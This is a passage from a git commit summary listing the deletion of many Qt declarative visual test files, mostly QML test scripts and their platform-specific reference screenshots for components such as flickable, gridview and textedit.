tests/auto/declarative/visual/focusscope/data-MAC/test.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test2.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test2.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test2.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.6.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.7.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.8.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.9.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-MAC/test3.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test2.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test2.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test2.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.6.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.7.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.8.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.9.png delete mode 100644 tests/auto/declarative/visual/focusscope/data-X11/test3.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data/test2.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test2.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test2.qml delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.0.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.1.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.2.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.3.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.4.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.5.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.6.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.7.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.8.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.9.png delete mode 100644 tests/auto/declarative/visual/focusscope/data/test3.qml delete mode 100644 tests/auto/declarative/visual/focusscope/test.qml delete mode 100644 tests/auto/declarative/visual/focusscope/test2.qml delete mode 100644 tests/auto/declarative/visual/focusscope/test3.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/animated-smooth.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/animated.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/borders.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/content/bw.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-round.sci delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/content/colors-stretch.sci delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/content/colors.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated-smooth.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/animated.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeborderimage/data/borders.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/data/easefollow.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-horizontal.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.10.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.11.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.12.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.13.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.14.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.15.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.16.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.17.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.18.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.19.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.20.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.21.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.22.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.23.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.24.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.9.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/data/flickable-vertical.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/flickable-horizontal.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflickable/flickable-vertical.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/data/test-flipable.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeflipable/test-flipable.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.9.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.10.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.9.png delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/data/gridview2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/gridview.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.10.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.11.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.12.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.13.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.14.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.15.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.16.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.17.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.18.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.19.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.20.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.21.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.22.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.9.png delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/data/mouseregion.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/drag.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativemouseregion/mouseregion.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/data/particles.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/data/particles.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/data/particles.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/data/particles.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/particles.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativeparticles/star.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview-2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/data/test-pathview.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/test-pathview-2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepathview/test-pathview.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/data/repeater.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/dynamic.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativepositioners/repeater.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/clock.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/content/background.png delete mode 100755 tests/auto/declarative/visual/qdeclarativespringfollow/content/center.png delete mode 100755 tests/auto/declarative/visual/qdeclarativespringfollow/content/clock.png delete mode 100755 tests/auto/declarative/visual/qdeclarativespringfollow/content/hour.png delete mode 100755 tests/auto/declarative/visual/qdeclarativespringfollow/content/minute.png delete mode 100755 tests/auto/declarative/visual/qdeclarativespringfollow/content/second.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/clock.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.10.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.9.png delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/data/follow.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/baseline/data-X11/parentanchor.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/baseline/data/parentanchor.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/baseline/parentanchor.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/elide2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-MAC/multilength.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/elide.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data-X11/multilength.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/data/elide2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/elide.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/plaintext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data-MAC/richtext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data/plaintext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/data/richtext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/plaintext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetext/font/richtext.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/cursorDelegate.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-MAC/qt-669.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data-X11/wrap.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/cursorDelegate.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/qt-669.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/data/wrap.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/qt-669.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextedit/wrap.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.0.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.1.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.2.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.3.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.4.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.5.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.6.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.7.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.8.png delete mode 100644 tests/auto/declarative/visual/qdeclarativetextinput/data-MAC/cursorDelegate.qml delete mode 100644 